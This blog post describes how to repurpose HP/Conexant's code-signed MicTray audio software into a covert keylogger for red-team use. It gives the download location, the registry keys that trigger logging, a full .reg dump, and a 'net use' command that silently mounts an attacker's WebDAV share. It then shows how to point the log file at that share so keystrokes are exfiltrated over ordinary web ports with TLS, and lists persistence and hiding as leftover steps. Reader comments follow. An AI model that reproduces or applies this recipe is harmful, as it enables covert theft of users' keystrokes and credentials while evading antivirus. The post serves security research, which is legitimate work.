The last couple of days there has been some fuzz about the HP audio key logger as disclosed by modzero in their blog post and the detailed advisory that they released. The following sentence in their advisory peeked my interest:
This type of debugging turns the audio driver effectively into a keylogging spyware.
With all the hyped ‘repurposing’ of tools that is going on lately I wondered how difficult it actually is to turn this into an intended piece of malware. The reason I find this interesting is because according to different sources it’s legitimate software which has been code-signed correctly and has not been classified as malware by all anti-virus solutions, yet.
The current detection signatures are also pretty weak since they deem it mostly ‘riskware’ or ‘potentially unwanted application (PUA)’. This could have the side effect that users or administrators might just dismiss any warnings of signs of an attacker abusing the HP audio key logger for malicious purposes.
For red team purposes this is still a nice addition, since it pushes the person analysing this potential incident to really understand what is going on and figuring out that legitimate software is being abused for malicious purposes. Specially since the binary will not be modified and thus the code-signing remains valid (until the certificate is revoked).
Let’s dive into the technical details on the path / approach I followed on repurposing this piece of legitimate software for nefarious red team purposes ;)
I gave myself three goals before I started repurposing the HP audio software:
- Keep it simple
- Log all keystrokes remotely
- Hide where possible
The first action was to get a copy of the exact version of the software as described in the advisory, which luckily for me was a breeze since they linked to the correct location. This is something that more advisories should do, since it makes follow-up research so much easier! Just for reference purpose the download link for the version I used is:
ftp://whp-aus1.cold.extweb.hp.com/pub/softpaq/sp79001-79500/sp79420.exe
The next thing was of course figuring out which files I would be needing to correctly deploy this as malware onto another system. The original install package is a whopping 174MB which is not something you want to install on the targets ;) The starting point was of course the (excellently written) advisory which mentions ‘MicTray64.exe’.
Instead of installing the downloaded installer file I opted for the route in which I just opened the installer with 7-zip and manually browsed the content. This resulted in finding the ‘mictray.exe’ and ‘mictray64.exe’ files in the following locations:
sp79420.exe\\Audio\X86\MicTray.cab\MicTray\MicTray\
sp79420.exe\\Audio\X64\MicTray.cab\MicTray\MicTray\
I extracted the two executables files in the hope that this would be all that I’d need to repurpose them for my goal of using them as an addition to red team operations and good old curiosity for learning purposes. To my surprise I could run them without any errors and the log file as mentioned in the advisory got created in the specified location, this was starting to look good for my first goal of keeping it simple. A small hick-up quickly presented itself however, since no keystrokes were logged.
The advisory mentions registry keys as being some kind of trigger:
If the logfile does not exist or the setting is not yet available in Windows registry, all keystrokes are passed to the OutputDebugString API
To the PROCMON! The trusted tool for attackers and defenders to obtain a first insight into the working of software in many situations. ProcMon looks like this when you start MicTray or MicTray64 and only enable the registry view:
When you repeat the proces a couple of times it becomes clear that MicTray needs the following registry keys to start the actual key logging part. I’m running a 64bit Windows 7, which explain the weird second key, since I run a 32bit MicTray on a 64bit platform, the first key is MicTray64 on a 64bit platform:
HKEY_LOCAL_MACHINE\SOFTWARE\conexant\MicTray\Hotkey
(dword) CustomSettings:1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Conexant\MicTray\Hotkey
(dword) CustomSettings:1
At this point we have reproduced the original advisory and are able to deploy a single file onto a system, create the correct trigger key and it will start logging keystrokes. A small caveat that I skipped over is the fact that I also run the installer to speed up this process, which resulted in the following pre-populated registry keys (.reg file format) which made it possible to quickly identify the previously described registry keys to trigger the key logging functionality:
[HKEY_CURRENT_USER\Software\Conexant] [HKEY_CURRENT_USER\Software\Conexant\MicTray.exe] "J_ERROR"=dword:00000001 "J_WARNING"=dword:00000001 "J_DSOUND"=dword:00000001 "J_DSOUND_V"=dword:00000000 "J_SNDLB"=dword:00000001 "J_DEVICE"=dword:00000001 "J_DEVICE_V"=dword:00000000 "J_ENUM_DEV"=dword:00000001 "J_DRIVER"=dword:00000001 "J_REG"=dword:00000001 "J_IOCTL"=dword:00000001 "J_IOCTL_V"=dword:00000001 "J_NOTIFY"=dword:00000001 "J_NOTIFY_V"=dword:00000000 "J_WINDOWS"=dword:00000001 "J_WMSG"=dword:00000001 "J_KEY"=dword:00000001 "J_FILE"=dword:00000001 "J_LOCK"=dword:00000001 "J_EP_PROPS"=dword:00000001 "J_EP_PROPS_V"=dword:00000000 "J_NODES"=dword:00000001 "J_NODES_V"=dword:00000000 "J_TOPO"=dword:00000001 "J_TOPO_V"=dword:00000001 "J_NODE_ST"=dword:00000001 "J_SRC"=dword:00000001 "J_SRC_V"=dword:00000001 "J_ANGENT"=dword:00000001 "J_STATE"=dword:00000001 "J_CMDLINE"=dword:00000001 "LogName"="C:\Users\Public\MicTray.log" [HKEY_CURRENT_USER\Software\Conexant\MicTray64.exe] "J_ERROR"=dword:00000001 "J_WARNING"=dword:00000001 "J_DSOUND"=dword:00000001 "J_DSOUND_V"=dword:00000000 "J_SNDLB"=dword:00000001 "J_DEVICE"=dword:00000001 "J_DEVICE_V"=dword:00000000 "J_ENUM_DEV"=dword:00000001 "J_DRIVER"=dword:00000001 "J_REG"=dword:00000001 "J_IOCTL"=dword:00000001 "J_IOCTL_V"=dword:00000001 "J_NOTIFY"=dword:00000001 "J_NOTIFY_V"=dword:00000000 "J_WINDOWS"=dword:00000001 "J_WMSG"=dword:00000001 "J_KEY"=dword:00000001 "J_FILE"=dword:00000001 "J_LOCK"=dword:00000001 "J_EP_PROPS"=dword:00000001 "J_EP_PROPS_V"=dword:00000000 "J_NODES"=dword:00000001 "J_NODES_V"=dword:00000000 "J_TOPO"=dword:00000001 "J_TOPO_V"=dword:00000001 "J_NODE_ST"=dword:00000001 "J_SRC"=dword:00000001 "J_SRC_V"=dword:00000001 "J_ANGENT"=dword:00000001 "J_STATE"=dword:00000001 "J_CMDLINE"=dword:00000001 "LogName"="C:\Users\Public\MicTray.log"
Now that we have reproduced the behaviour as describes by modzero let’s see how we can receive the keystrokes remotely, after all the registry key ‘LogName’ is a pretty good candidate to achieve this. This first thing that came to mind was WebDav, so I just followed the first google hit on setting up a WebDav server:
After setting it up, the next challenge was our third goal, attempting to hide whenever possible. This turned out to be pretty straightforward, since you can mount WebDav shares without them showing up in the Windows GUI by using the following command:
net use http://172.16.218.156/webdav/ repurpose /user:alex
By not specifying the drive letter Windows will connect and authenticate, but it will not display a drive letter to the user. Only if the user issues the ‘net use’ command will he be able to see the remotely mounted path. All we have to do now is change the LogName value in the registry to this:
\\172.16.218.156\webdav\omg.log
and all the keystrokes will be send to a remote machine. If you are wondering why WebDav? That’s because it uses normal ports (80, 443), thus enabling us to traverse firewalls more easily and secondly you can apply some TLS protection to the connection, thus preventing prying eyes from seeing that you are exfiltrating keystrokes from their network:
Pretty neat right? We’ve just abused legitimate software to capture and send keystrokes to our remote server, all with the comfort of having the binary correctly code-signed :) An example of logged keystrokes can also be viewed in the output of the DebugView tool as shown below (screenshot from How-To Geek):
The follow-up steps are of course left as an exercise to the reader ;) which if you are wondering what is left, that would be:
- Executing the MicTray application on user login
- Running the MicTray application without it being visible as an tray icon
- Packing it all neatly into a single executable
Hope you enjoyed it, but more importantly ask yourself the question: How much more legitimate software is out there that could be repurposed as an attack tool?
DiabloHorn 
The latest update from HP/Conexant that was supposed to fix the keyloger add another weird feature:
It add a program called flow.exe which is creating a HTTPS connection.
Why would an audio driver need to create Internet connection?
Awesome! Could you add a screenshot of the captured keystrokes?